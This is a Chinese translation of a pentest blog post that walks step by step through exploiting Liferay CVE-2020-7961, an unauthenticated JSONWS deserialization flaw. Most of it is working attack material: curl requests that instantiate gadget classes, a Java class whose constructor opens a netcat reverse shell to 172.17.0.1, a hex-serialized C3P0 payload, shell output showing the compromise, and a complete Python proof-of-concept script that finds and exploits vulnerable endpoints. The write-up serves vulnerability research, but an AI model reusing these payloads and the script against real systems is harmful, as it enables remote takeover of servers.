Liferay是用Java编写的著名CMS之一,在渗透过程中有时会遇到。上周,我偶然发现了Code White Security的博客文章“ Liferay Portal JSON Web服务RCE漏洞分析”,其中描述了一个有趣的漏洞。不幸的是,没有与之相关的PoC,所以这是学习知识的好机会。
Liferay CMS:https://www.liferay.com/
我将集中讨论影响7.x版本CST-7205的漏洞:通过JSONWS(LPS-97029 / CVE-2020-7961)进行未经身份验证的远程代码执行。
文章分析
首先,我在Code White博客文章中收集一些线索,就在进行CTF比赛时做的那样:
https://codewhitesec.blogspot.com/2020/03/liferay-portal-json-vulns.html
The JSONWebServiceActionParametersMap of Liferay Portal allows the instantiation of arbitrary classes and invocation of arbitrary setter methods. Both allow the instantiation of an arbitrary class via its parameter-less constructor and the invocation of setter methods similar to the JavaBeans convention. This allows unauthenticated remote code execution via various publicly known gadgets. // 1 [...] The _parameterTypes map gets filled by the JSONWebServiceActionParametersMap.put(String, Object) method... parameterName:fully.qualified.ClassName // 2 [...] This syntax is also mentioned in some of the examples in the Invoking JSON Web Services tutorial. // 3 [...] Later in JSONWebServiceActionImpl._prepareParameters(Class), the ReflectUtil.isTypeOf(Class, Class) is used to check whether the specified type extends the type of the corresponding parameter of the method to be invoked. Since there are service methods with java.lang.Object parameters, any type can be specified. // 4 [...] Demo // 5
从博客文章中我已经确定:
(1)我必须绕过2016年已经存在的实例化漏洞,即us-17-Munoz-Friday-The-13th-Json-Attacks和 marshalsec,为此,我需要一个小工具,这将使工作变得容易;
(2)为了识别入口点,我需要找到Liferay开发人员文档中描述的JSONendpoint;
(3)进行交互;
(4)最后可以在上面看到APIendpoint的GIF演示;
(5)进行了一点修改,方便使用JSON-RPC攻击的方法, Content-length Header超过9000!
分析准备
Liferay CE是开源的,我使用docker运行一个实例,并下载了源代码:
$ wget https://github.com/liferay/liferay-portal/releases/download/7.2.0-ga1/liferay-ce-portal-src-7.2.0-ga1-20190531153709761.zip # docker pull liferay/portal:7.2.0-ga1-201906041200 # docker run -it liferay/portal:7.2.0-ga1-201906041200 $ docker inspect $(docker ps | grep liferay | cut -f 1 -d ' ') | jq -r .[0].NetworkSettings.IPAddress
Ubuntu的默认登录名/密码为:[email protected]:test。
寻找切入点
阅读文档并使用API,我很快找到了使用方法:
$ curl -s http://172.17.0.2:8080/api/jsonws/announcementsflag/get-flag -u [email protected]:test -d entryId=1 -d value=2 | jq { "exception": "No AnnouncementsFlag exists with the key {userId=20129, entryId=1, value=2}", "throwable": "com.liferay.announcements.kernel.exception.NoSuchFlagException: No AnnouncementsFlag exists with the key {userId=20129, entryId=1, value=2}", "error": { "message": "No AnnouncementsFlag exists with the key {userId=20129, entryId=1, value=2}", "type": "com.liferay.announcements.kernel.exception.NoSuchFlagException" } }
查看内置文档,我注意到每个参数都需要键入(Long,String ...):
还记得博客文章中的提示吗?我遍历每个上下文以检索每个endpoint,找到了一些使用的endpointjava.lang.Object:
$ cat contexts.txt | while read context; do curl -kis http://172.17.0.2:8080/api/jsonws?contextName=$context | grep "java\.lang\.Object"; done | grep -o 'href="[^"]*"' href="/api/jsonws?contextName=&signature=%2Fexpandocolumn%2Fupdate-column-4-long-java.lang.String-int-java.lang.Object" href="/api/jsonws?contextName=&signature=%2Fexpandocolumn%2Fadd-column-4-long-java.lang.String-int-java.lang.Object"
如博客文章中所见,在阅读了文档之后,我发现了用于实例化对象的符号+,尝试使用一些garbage 可以带来一条有趣的信息:
$ curl -s http://172.17.0.2:8080/api/jsonws/expandocolumn/update-column \ -u [email protected]:test \ -d columnId=1 \ -d name='2' \ -d type=3 \ -d %2BdefaultData=4 | jq { "exception": "4", "throwable": "java.lang.ClassNotFoundException: 4", "error": { "message": "4", "type": "java.lang.ClassNotFoundException" } }
可能是java.lang.Number或 java.lang.String
$ curl -s http://172.17.0.2:8080/api/jsonws/expandocolumn/update-column -u [email protected]:test -d columnId=1 -d name='2' -d type=3 -d %2BdefaultData=java.lang.Number | jq { "exception": "java.lang.InstantiationException", "throwable": "java.lang.InstantiationException", "error": { "message": "java.lang.InstantiationException", "type": "java.lang.InstantiationException" } } $ curl -s http://172.17.0.2:8080/api/jsonws/expandocolumn/update-column -u [email protected]:test -d columnId=1 -d name='2' -d type=3 -d %2BdefaultData=java.lang.String | jq { "exception": "No ExpandoColumn exists with the primary key 1", "throwable": "com.liferay.expando.kernel.exception.NoSuchColumnException: No ExpandoColumn exists with the primary key 1", "error": { "message": "No ExpandoColumn exists with the primary key 1", "type": "com.liferay.expando.kernel.exception.NoSuchColumnException" } }
到目前为止,我已经能够实例化一个对象,并且根据文档,设置属性应该与defaultData.attribute_name=value一样简单 。
寻找 gadget
我并不熟悉此类漏洞,因此我采用了AlvaroMuñoz和Oleksandr Mirosh 文章中发布的一个Java gadgets,其中涉及实例化org.hibernate.jmx.StatisticsService类,然后调用 setSessionFactoryJNDIName,方法是将 sessionFactoryJNDIName设置为我控制的一切:
$ curl -s http://172.17.0.2:8080/api/jsonws/expandocolumn/update-column -u [email protected]:test -d columnId=1 -d name='2' -d type=3 -d %2BdefaultData=org.hibernate.jmx.StatisticsService -d defaultData.sessionFactoryJNDIName=rmi://thisiswrong:/
并在日志中得到了stacktrace:
2020-03-27 15:48:45.383 ERROR [http-nio-8080-exec-2][StatisticsService:81] Error while accessing session factory with JNDI name rmi://thisissworng:/ javax.naming.CommunicationException: thisiswrong:389 [Root exception is java.net.UnknownHostException: thisiswrong]
有许多公开的gadgets,可以在这里找到。
Requires c3p0 on the class path. Implements java.io.Serializable, has a default constructor (which needs to be called), the used properties also have getters. A single etter call is sufficient for code execution. [...] It will instantiate a class from a remote class path as JNDI ObjectFactory. (on its own, not using the default JNDI reference mechanism) [...]
不使用默认的JNDI机制进行代码执行,尝试一下:
$ curl -s http://172.17.0.2:8080/api/jsonws/expandocolumn/update-column -u [email protected]:test -d columnId=1 -d name='2' -d type=3 -d %2BdefaultData=com.mchange.v2.c3p0.WrapperConnectionPoolDataSource -d 'defaultData.userOverridesAsString=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' [...] 2020-03-27 16:19:55.776 WARN [http-nio-8080-exec-10][WrapperConnectionPoolDataSource:223] Failed to parse stringified userOverrides. AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA java.io.StreamCorruptedException: invalid stream header: AAAAAAAA
现在,使用 marshalsec工具通过Jackson适合我上下文的Paylaod为我设置正确的数据。
首先,通过暴露的方式设置远程类EvilObject的路径:
$ cat > EvilObject.java <<EOF public class EvilObject { public EvilObject() throws Exception { Runtime rt = Runtime.getRuntime(); String[] commands = {"/bin/sh", "-c", "nc 172.17.0.1 8888 -e /bin/sh"}; Process pc = rt.exec(commands); pc.waitFor(); } } EOF $ /usr/lib/jvm/java-8-oracle/bin/javac EvilObject.java $ python -m SimpleHTTPServer &
然后,我可以使用-t参数测试所有内容:
$ java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Jackson -t C3P0WrapperConnPool http://172.17.0.1:8000/ EvilObject unning gadget C3P0WrapperConnPool: MLog initialization issue: slf4j found no binding or threatened to use its (dangerously silent) NOPLogger. We consider the slf4j library not found. Had execution of /bin/sh
设置监听,生成Payload并使用:
$ nc -l -v 8888 & Listening on 0.0.0.0 8888 $ java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Jackson C3P0WrapperConnPool http://172.17.0.1:8000/ EvilObject ["com.mchange.v2.c3p0.WrapperConnectionPoolDataSource",{"userOverridesAsString":"HexAsciiSerializedMap:aced00057372003d636f6d2e6d6368616e67652e76322e6e616d696e672e5265666572656e6365496e6469726563746f72245265666572656e636553657269616c697a6564621985d0d12ac2130200044c000b636f6e746578744e616d657400134c6a617661782f6e616d696e672f4e616d653b4c0003656e767400154c6a6176612f7574696c2f486173687461626c653b4c00046e616d6571007e00014c00097265666572656e63657400184c6a617661782f6e616d696e672f5265666572656e63653b7870707070737200166a617661782e6e616d696e672e5265666572656e6365e8c69ea2a8e98d090200044c000561646472737400124c6a6176612f7574696c2f566563746f723b4c000c636c617373466163746f72797400124c6a6176612f6c616e672f537472696e673b4c0014636c617373466163746f72794c6f636174696f6e71007e00074c0009636c6173734e616d6571007e00077870737200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78700000000000000000757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000a707070707070707070707874000a4576696c4f626a656374740017687474703a2f2f3137322e31372e302e313a383030302f740003466f6f;"}] $ curl -s http://172.17.0.2:8080/api/jsonws/expandocolumn/update-column -u [email protected]:test -d columnId=1 -d name='2' -d type=3 -d %2BdefaultData=com.mchange.v2.c3p0.WrapperConnectionPoolDataSource -d 'defaultData.userOverridesAsString=HexAsciiSerializedMap:aced00057372003d636f6d2e6d6368616e67652e76322e6e616d696e672e5265666572656e6365496e6469726563746f72245265666572656e636553657269616c697a6564621985d0d12ac2130200044c000b636f6e746578744e616d657400134c6a617661782f6e616d696e672f4e616d653b4c0003656e767400154c6a6176612f7574696c2f486173687461626c653b4c00046e616d6571007e00014c00097265666572656e63657400184c6a617661782f6e616d696e672f5265666572656e63653b7870707070737200166a617661782e6e616d696e672e5265666572656e6365e8c69ea2a8e98d090200044c000561646472737400124c6a6176612f7574696c2f566563746f723b4c000c636c617373466163746f72797400124c6a6176612f6c616e672f537472696e673b4c0014636c617373466163746f72794c6f636174696f6e71007e00074c0009636c6173734e616d6571007e00077870737200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78700000000000000000757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000a707070707070707070707874000a4576696c4f626a656374740017687474703a2f2f3137322e31372e302e313a383030302f740003466f6f;' [...] id uid=1000(liferay) gid=1000(liferay) ls -al total 92 drwxr-xr-x 1 liferay liferay 4096 Jun 4 2019 . drwxr-xr-x 1 root root 4096 Jun 4 2019 .. -rw-r--r-- 1 liferay liferay 40 May 31 2019 .githash -rw-r--r-- 1 liferay liferay 0 May 31 2019 .liferay-home drwxr-xr-x 1 liferay liferay 4096 May 31 2019 data drwxr-x--- 2 liferay liferay 4096 May 31 2019 deploy [...]
已经获得了远程shell!
分析结论
相关的PoC如下:
https://github.com/mzer0one/CVE-2020-7961-POC
''' Title: POC for Unauthenticated Remote code execution via JSONWS (LPS-97029/CVE-2020-7961) in Liferay 7.2.0 CE GA1 POC author: mzero Download link: https://sourceforge.net/projects/lportal/files/Liferay%20Portal/7.2.0%20GA1/liferay-ce-portal-tomcat-7.2.0-ga1-20190531153709761.7z/download Based on https://codewhitesec.blogspot.com/2020/03/liferay-portal-json-vulns.html research Usage: python poc.py -h Gadget used: C3P0WrapperConnPool Installation: pip install requests pip install bs4 Create file LifExp.java with example content: public class LifExp { static { try { String[] cmd = {"cmd.exe", "/c", "calc.exe"}; java.lang.Runtime.getRuntime().exec(cmd).waitFor(); } catch ( Exception e ) { e.printStackTrace(); } } } javac LifExp.java Place poc.py and LifExp.class in the same directory. ''' import requests import threading import time import sys import argparse from bs4 import BeautifulSoup from datetime import datetime from BaseHTTPServer import BaseHTTPRequestHandler,HTTPServer from requests.packages.urllib3.exceptions import InsecureRequestWarning requests.packages.urllib3.disable_warnings(InsecureRequestWarning) # SET proxy PROXIES = {} #PROXIES = {"http":"http://127.0.0.1:9090"} class HttpHandler(BaseHTTPRequestHandler): def do_GET(self): self.send_response(200) self.send_header('Content-type','application/java-vm') self.end_headers() f = open("LifExp.class", "rb") self.wfile.write(f.read()) f.close() return def log(level, msg): prefix = "[#] " if level == "error": prefix = "[!] " d = datetime.now().strftime("%d/%m/%Y %H:%M:%S") temp = "{} [{}] {}".format(prefix, d, msg) print(temp) def find_href(body): soup = BeautifulSoup(body, "html.parser") return soup.find_all('a', href=True) def find_class(body, clazz): soup = BeautifulSoup(body, "html.parser") return soup.findAll("div", {"class": clazz}) def find_id(body): soup = BeautifulSoup(body, "html.parser") return soup.findAll("form", {"id": "execute"}) def get_param(div): param = "" param_type = "" p_name = div.find("span", {"class": "lfr-api-param-name"}) p_type = div.find("span", {"class": "lfr-api-param-type"}) if p_name: param = p_name.text.strip() if p_type: param_type = p_type.text.strip() return (param, param_type) def _do_get(url): resp = requests.get(url, proxies=PROXIES, verify=False) return resp def do_get(host, path): url = "{}/{}".format(host, path) resp = _do_get(url) return resp def _do_post(url, data): resp = requests.post(url, proxies=PROXIES, verify=False, data=data) return resp def do_post(host, path, data): url = "{}/{}".format(host, path) resp = _do_post(url, data) return resp def find_endpoints(host, path): result = [] resp = do_get(host, path) links = find_href(resp.text) for link in links: if "java.lang.Object" in link['href']: result.append(link['href']) return result def find_parameters(body): div_params = find_class(body, "lfr-api-param") params = [] for d in div_params: params.append(get_param(d)) return params def find_url(body): form = find_id(body)[0] return form['action'] def set_params(params, payload, payload_type): result = {} for param in params: p_name, p_type = param if p_type == "java.lang.Object": result[p_name+":"+payload_type] = payload result[p_name] = "1" return result def pad(data, length): return data+"\x20"*(length-len(data)) def exploit(host, api_url, params, PAYLOAD, PAYLOAD_TYPE): p = set_params(params, PAYLOAD, PAYLOAD_TYPE) resp = do_post(host, api_url, p) banner = """POC author: mzero\r\nBased on https://codewhitesec.blogspot.com/2020/03/liferay-portal-json-vulns.html research""" def main(): print(banner) parser = argparse.ArgumentParser() parser.add_argument("-t", "--target-host", dest="target", help="target host:port", required=True) parser.add_argument("-u", "--api-url", dest="api_url", help="path to jsonws. Default: /api/jsonws", default="/api/jsonws") parser.add_argument("-p", "--bind-port", dest="bind_port", help="HTTP server bind port. Default 9091", default=9091) parser.add_argument("-l", "--bind-ip", dest="bind_ip", help="HTTP server bind IP. Default 127.0.0.1. It can't be 0.0.0.0", default="127.0.0.1") args = parser.parse_args() bind_port = int(args.bind_port) bind_ip = args.bind_ip target_ip = args.target api_url = args.api_url endpoints = [] vuln_endpoints = [] PAYLOAD_TYPE = "com.mchange.v2.c3p0.WrapperConnectionPoolDataSource" PAYLOAD_PREFIX = """{"userOverridesAsString":"HexAsciiSerializedMap:aced00057372003d636f6d2e6d6368616e67652e76322e6e616d696e672e5265666572656e6365496e6469726563746f72245265666572656e636553657269616c697a6564621985d0d12ac2130200044c000b636f6e746578744e616d657400134c6a617661782f6e616d696e672f4e616d653b4c0003656e767400154c6a6176612f7574696c2f486173687461626c653b4c00046e616d6571007e00014c00097265666572656e63657400184c6a617661782f6e616d696e672f5265666572656e63653b7870707070737200166a617661782e6e616d696e672e5265666572656e6365e8c69ea2a8e98d090200044c000561646472737400124c6a6176612f7574696c2f566563746f723b4c000c636c617373466163746f72797400124c6a6176612f6c616e672f537472696e673b4c0014636c617373466163746f72794c6f636174696f6e71007e00074c0009636c6173734e616d6571007e00077870737200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78700000000000000000757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000a70707070707070707070787400064c69664578707400c8""" PAYLOAD_SUFIX = """740003466f6f;"}""" PAYLOAD = PAYLOAD_PREFIX +pad("http://{}:{}/".format(bind_ip, bind_port), 200).encode("hex")+PAYLOAD_SUFIX try: log("info", "Looking for vulnerable endpoints: {}/{}".format(target_ip, api_url)) endpoints = find_endpoints(target_ip, api_url) if not endpoints: log("info", "Vulnerable endpoints not found!") sys.exit(1) except Exception as ex: log("error", "An error occured:") print(ex) sys.exit(1) try: server = HTTPServer((bind_ip, bind_port), HttpHandler) log("info", "Started HTTP server on {}:{}".format(bind_ip, bind_port)) th = threading.Thread(target=server.serve_forever) th.daemon=True th.start() for e in endpoints: resp = do_get(target_ip, e) params = find_parameters(resp.text) url_temp = find_url(resp.text) vuln_endpoints.append((url_temp, params)) for endpoint in vuln_endpoints: log("info", "Probably vulnerable endpoint {}.".format(endpoint[0])) op = raw_input("Do you want to test it? Y/N: ") if op.lower() == "y": exploit(target_ip, endpoint[0], endpoint[1], PAYLOAD, PAYLOAD_TYPE) log("info", "CTRL+C to exit :)") while True: time.sleep(1) except KeyboardInterrupt: log("info", "Shutting down...") server.socket.close() except Exception as ex: log("error", "An error occured:") print(ex) sys.exit(1) if __name__ == "__main__": main()
public class LifExp { static { try { String[] cmd = {"cmd.exe", "/c", "calc.exe"}; java.lang.Runtime.getRuntime().exec(cmd).waitFor(); } catch ( Exception e ) { e.printStackTrace(); } } }
无需建立连接只需单击即可实现代码执行。
参考文献
· https://codewhitesec.blogspot.com/2020/03/liferay-portal-json-vulns.html
· https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf
· https://github.com/mbechler/marshalsec
· https://portal.liferay.dev/docs/7-1/tutorials/-/knowledge_base/t/invoking-json-web-services#json-rpc
· https://github.com/mzer0one/CVE-2020-7961-POC
· https://gist.github.com/testanull/4f8a9305b5b57ab8e7f15bbb0fb93461
本文翻译自:https://www.synacktiv.com/posts/pentest/how-to-exploit-liferay-cve-2020-7961-quick-journey-to-poc.html如若转载,请注明原文地址: